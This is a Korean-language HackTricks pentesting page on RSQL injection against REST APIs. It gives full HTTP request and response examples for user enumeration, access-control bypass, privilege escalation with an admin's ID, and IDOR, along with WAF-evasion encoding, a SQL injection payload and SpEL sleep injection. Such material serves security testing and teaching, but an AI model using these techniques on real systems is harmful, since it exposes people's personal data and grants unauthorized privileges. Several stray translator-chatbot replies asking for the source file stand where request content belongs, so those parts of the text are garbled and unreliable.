RSQL Injection

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

What is RSQL?

RSQL은 RESTful API에서 입력을 파라미터화된 필터링을 위해 설계된 쿼리 언어입니다. FIQL (Feed Item Query Language)을 기반으로 하며, 이는 원래 Mark Nottingham이 Atom 피드를 쿼리하기 위해 규정한 것입니다. RSQL은 단순성과 복잡한 쿼리를 HTTP 상에서 컴팩트하고 URI 호환 방식으로 표현하는 능력으로 돋보입니다. 이러한 이유로 REST 엔드포인트 검색을 위한 일반적인 쿼리 언어로 매우 적합합니다.

Overview

RSQL Injection은 RSQL을 쿼리 언어로 사용하는 RESTful API 기반 웹 애플리케이션에서 발생하는 취약점입니다. SQL InjectionLDAP Injection과 유사하게, 이 취약점은 RSQL 필터가 적절히 정제되지 않을 때 발생하며, 공격자가 권한 없이 악의적인 쿼리를 주입하여 데이터에 접근, 수정 또는 삭제할 수 있게 합니다.

How does it work?

RSQL을 사용하면 RESTful API에서 고급 쿼리를 작성할 수 있습니다. 예를 들어:

/products?filter=price>100;category==electronics

이는 가격이 100보다 큰 제품과 카테고리가 “electronics”인 제품을 필터링하는 구조화된 쿼리로 변환됩니다.

애플리케이션이 사용자 입력을 올바르게 검증하지 않으면, 공격자는 필터를 조작하여 다음과 같은 예기치 않은 쿼리를 실행할 수 있습니다:

/products?filter=id=in=(1,2,3);delete_all==true

또는 Boolean 쿼리나 중첩 서브쿼리를 이용해 민감한 정보를 추출하는 데 악용될 수 있습니다.

위험

  • 민감한 데이터 노출: 공격자가 접근해서는 안 되는 정보를 획득할 수 있습니다.
  • 데이터 수정 또는 삭제: 데이터베이스 레코드를 변경하는 필터를 주입할 수 있습니다.
  • 권한 상승: 필터를 통해 역할을 부여하는 식별자를 조작해 애플리케이션을 속이고 다른 사용자의 권한으로 접근할 수 있습니다.
  • 접근 제어 우회: 필터를 조작하여 제한된 데이터에 접근할 수 있습니다.
  • 사칭 또는 IDOR: 필터를 통해 사용자 간 식별자를 수정하여 적절한 인증 없이 다른 사용자의 정보 및 자원에 접근할 수 있습니다.

지원되는 RSQL 연산자

연산자설명예시
; / and논리적 AND 연산자. 행을 필터링하여 조건이 모두 참인 경우를 반환합니다/api/v2/myTable?q=columnA==valueA;columnB==valueB
, / or논리적 OR 연산자. 행을 필터링하여 적어도 하나의 조건이 인 경우를 반환합니다/api/v2/myTable?q=columnA==valueA,columnB==valueB
==equals 쿼리를 수행합니다. columnA의 값이 queryValue와 정확히 일치하는 myTable의 모든 행을 반환합니다/api/v2/myTable?q=columnA==queryValue
=q=search 쿼리를 수행합니다. columnA의 값이 queryValue를 포함하는 myTable의 모든 행을 반환합니다/api/v2/myTable?q=columnA=q=queryValue
=like=like 쿼리를 수행합니다. columnA의 값이 queryValue와 유사한 myTable의 모든 행을 반환합니다/api/v2/myTable?q=columnA=like=queryValue
=in=in 쿼리를 수행합니다. columnAvalueA 또는 valueB를 포함하는 myTable의 모든 행을 반환합니다/api/v2/myTable?q=columnA=in=(valueA, valueB)
=out=exclude 쿼리를 수행합니다. columnA의 값이 valueAvalueB도 아닌 myTable의 모든 행을 반환합니다/api/v2/myTable?q=columnA=out=(valueA,valueB)
!=not equals 쿼리를 수행합니다. columnA의 값이 queryValue가 아닌 myTable의 모든 행을 반환합니다/api/v2/myTable?q=columnA!=queryValue
=notlike=not like 쿼리를 수행합니다. columnA의 값이 queryValue와 유사하지 않은 myTable의 모든 행을 반환합니다/api/v2/myTable?q=columnA=notlike=queryValue
< & =lt=lesser than 쿼리를 수행합니다. columnA의 값이 queryValue보다 작은 myTable의 모든 행을 반환합니다/api/v2/myTable?q=columnA<queryValue
/api/v2/myTable?q=columnA=lt=queryValue
=le= & <=lesser than 또는 equal to 쿼리를 수행합니다. columnA의 값이 queryValue보다 작거나 같은 myTable의 모든 행을 반환합니다/api/v2/myTable?q=columnA<=queryValue
/api/v2/myTable?q=columnA=le=queryValue
> & =gt=greater than 쿼리를 수행합니다. columnA의 값이 queryValue보다 큰 myTable의 모든 행을 반환합니다/api/v2/myTable?q=columnA>queryValue
/api/v2/myTable?q=columnA=gt=queryValue
>= & =ge=equal to 또는 greater than 쿼리를 수행합니다. columnA의 값이 queryValue와 같거나 큰 myTable의 모든 행을 반환합니다/api/v2/myTable?q=columnA>=queryValue
/api/v2/myTable?q=columnA=ge=queryValue
=rng=from to 쿼리를 수행합니다. columnA의 값이 fromValue 이상이고 toValue 이하인 myTable의 모든 행을 반환합니다/api/v2/myTable?q=columnA=rng=(fromValue,toValue)

참고: 표는 MOLGENISrsql-parser 정보를 기반으로 합니다.

예시

  • name==“Kill Bill”;year=gt=2003
  • name==“Kill Bill” and year>2003
  • genres=in=(sci-fi,action);(director==‘Christopher Nolan’,actor==*Bale);year=ge=2000
  • genres=in=(sci-fi,action) and (director==‘Christopher Nolan’ or actor==*Bale) and year>=2000
  • director.lastName==Nolan;year=ge=2000;year=lt=2010
  • director.lastName==Nolan and year>=2000 and year<2010
  • genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
  • genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino

참고: 표는 rsql-parser 정보를 기반으로 합니다.

일반적인 필터

다음 필터들은 API 쿼리를 세분화하는 데 도움을 줍니다:

필터설명예시
filter[users]특정 사용자로 결과를 필터링합니다/api/v2/myTable?filter[users]=123
filter[status]상태(활성/비활성, 완료 등)로 필터링합니다/api/v2/orders?filter[status]=active
filter[date]날짜 범위 내의 결과를 필터링합니다/api/v2/logs?filter[date]=gte:2024-01-01
filter[category]카테고리 또는 리소스 유형으로 필터링합니다/api/v2/products?filter[category]=electronics
filter[id]고유 식별자로 필터링합니다/api/v2/posts?filter[id]=42

일반적인 파라미터

다음 파라미터들은 API 응답을 최적화하는 데 도움을 줍니다:

파라미터설명예시
include응답에 관련 리소스를 포함합니다/api/v2/orders?include=customer,items
sort결과를 오름차순 또는 내림차순으로 정렬합니다/api/v2/users?sort=-created_at
page[size]페이지당 결과 수를 제어합니다/api/v2/products?page[size]=10
page[number]페이지 번호를 지정합니다/api/v2/products?page[number]=2
fields[resource]응답에 반환할 필드를 정의합니다/api/v2/users?fields[users]=id,name,email
search보다 유연한 검색을 수행합니다/api/v2/posts?search=technology

정보 유출 및 사용자 열거

다음 요청은 이메일 파라미터를 요구하여 해당 이메일로 등록된 사용자가 있는지 확인하고, 데이터베이스에 존재하는지 여부에 따라 true 또는 false를 반환하는 등록 엔드포인트를 보여줍니다:

요청

GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

파일 내용이 포함되어 있지 않습니다. src/pentesting-web/rsql-injection.md의 텍스트(마크다운 포함)를 붙여 넣어 주세요. 그러면 동일한 마크다운/HTML 구조는 유지한 채 영어에서 한국어로 번역해 드리겠습니다.

HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85

{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}

일반적으로 /api/registrations?email=<emailAccount>가 예상되지만, RSQL 필터를 사용하여 특수 연산자를 통해 사용자 정보를 열거하거나/또는 추출하려 시도할 수 있습니다:

요청

GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

파일 src/pentesting-web/rsql-injection.md의 내용을 붙여넣어 주세요. 붙여넣으면 코드, 태그, 링크, 패스 등은 그대로 유지하면서 영어 본문을 한국어로 번역해 드리겠습니다.

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"attributes": {
"tenants": []
}
}
}

유효한 이메일 계정과 일치하는 경우, 애플리케이션은 서버에 대한 응답으로 일반적인 “true”, “1” 등의 값 대신 사용자 정보를 반환합니다:

Request

GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Response

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}

Authorization evasion

이 시나리오에서는 기본 역할을 가진 사용자로 시작하며 데이터베이스에 등록된 모든 사용자 목록에 접근할 수 있는 권한(예: administrator)을 가지고 있지 않습니다:

요청

GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

해당 파일(src/pentesting-web/rsql-injection.md)의 내용을 여기에 붙여넣어 주세요. 그러면 Markdown 및 HTML 구문을 그대로 유지하면서 영어 본문을 한국어로 번역해 드리겠습니다. (코드·기법명·플랫폼명·태그·링크·경로 등은 번역하지 않습니다.)

HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

다시 우리는 filters와 special operators를 이용해 users의 정보를 얻고 access control을 우회하는 대체 방법을 사용합니다. 예를 들어, user ID에 문자 “a”가 포함된 users로 필터링합니다:

Request

GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

원본 파일(src/pentesting-web/rsql-injection.md)의 내용을 붙여 보내주세요. 해당 내용을 받아야 Markdown/HTML 태그는 그대로 유지하면서 영어를 한국어로 번역해 드립니다.

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................

Privilege Escalation

특정 엔드포인트가 역할(role)을 통해 사용자 권한을 확인하는 경우를 발견할 가능성이 매우 높습니다. 예를 들어, 현재 권한이 없는 사용자로 작업하고 있다고 가정해봅시다:

Request

GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

응답

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": []
}

특정 연산자를 사용하면 관리자 사용자를 열거할 수 있습니다:

Request

GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

원본 파일(src/pentesting-web/rsql-injection.md)의 내용을 제공해 주세요. 내용을 붙여넣으면 요청하신 규칙(마크다운/HTML 구문 유지, 코드·기술명·링크·경로 등은 미번역)에 따라 한국어로 번역해 드립니다.

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}

관리자 사용자의 identifier를 알게 되면, 해당 filter를 관리자 identifier로 교체하거나 추가하여 동일한 privileges를 획득하는 privilege escalation을 악용할 수 있습니다:

요청

GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Response

HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
....
}]
}
}

Impersonate or Insecure Direct Object References (IDOR)

In addition to the use of the filter parameter, it is possible to use other parameters such as include which allows to include in the result certain parameters (e.g. language, country, password…).

In the following example, the information of our user profile is shown:

요청

GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Response

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}

filters의 조합은 authorization control을 우회하여 다른 users의 profiles에 접근할 수 있습니다:

Request

GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

응답

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}

탐지 및 fuzzing quickwins

  • RSQL 지원 여부는 ?filter=id==test, ?q==test 같은 무해한 프로브나 잘못된 연산자 =foo=를 보내 확인하세요; verbose APIs는 종종 파서 오류를 leak합니다 (“Unknown operator” / “Unknown property”).
  • 많은 구현체가 URL 파라미터를 두 번 파싱합니다; (, ), *, ;를 이중 인코딩(예: %2528admin%2529)해 단순한 차단 목록과 WAFs를 우회해보세요.
  • Boolean exfil with wildcards: filter[users]=email==*%@example.com;status==ACTIVE 그리고 , (OR)로 논리를 뒤집어 응답 크기를 비교하세요.
  • Range/proximity leaks: filter[users]=createdAt=rng=(2024-01-01,2025-01-01)는 정확한 ID를 모른 채 연도 단위로 빠르게 열거합니다.

프레임워크별 악용 (Elide / JPA Specification / JSON:API)

  • Elide와 많은 Spring Data REST 프로젝트는 RSQL을 JPA Criteria로 직접 변환합니다. 개발자가 커스텀 연산자(예: =ilike=)를 추가하고 prepared parameters 대신 문자열 연결로 predicates를 구성하면 SQLi로 전환할 수 있습니다 (클래식 페이로드: name=ilike='%%' OR 1=1--').
  • Elide analytic data store는 parameterized columns를 허용합니다; 사용자 제어형 analytic params와 RSQL 필터를 결합한 것이 CVE-2022-24827의 SQLi 근본 원인이었습니다. 패치된 버전에서 파라미터화가 올바르게 되어 있어도 유사한 맞춤형 코드가 남아있는 경우가 많으므로 ${}를 포함하는 @JoinFilter/@ReadPermission SpEL 표현식을 찾아 ';sleep(5);' 또는 논리적 항진을 주입해보세요.
  • JSON:API 백엔드는 일반적으로 includefilter를 모두 노출합니다. 연관 리소스에 대한 필터링(filter[orders]=customer.email==*admin*)은 relation-level filters가 소유권 검사보다 먼저 실행되기 때문에 최상위 ACL을 우회할 수 있습니다.

자동화 도움 도구

  • rsql-parser CLI (Java): java -jar rsql-parser.jar "name=='*admin*';status==ACTIVE"는 페이로드를 로컬에서 검증하고 추상 문법 트리를 보여줍니다 — 균형 잡힌 괄호와 커스텀 연산자 제작에 유용합니다.
  • Python quick builder:
from pyrsql import RSQL
payload = RSQL().and_("email==*admin*", "status==ACTIVE").or_("role=in=(owner,admin)")
print(str(payload))
  • HTTP fuzzer (ffuf, turbo-intruder)와 함께 사용: =in= 리스트 안에서 와일드카드 위치 *a*, *e* 등을 반복하여 ID와 이메일을 빠르게 열거합니다.

참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기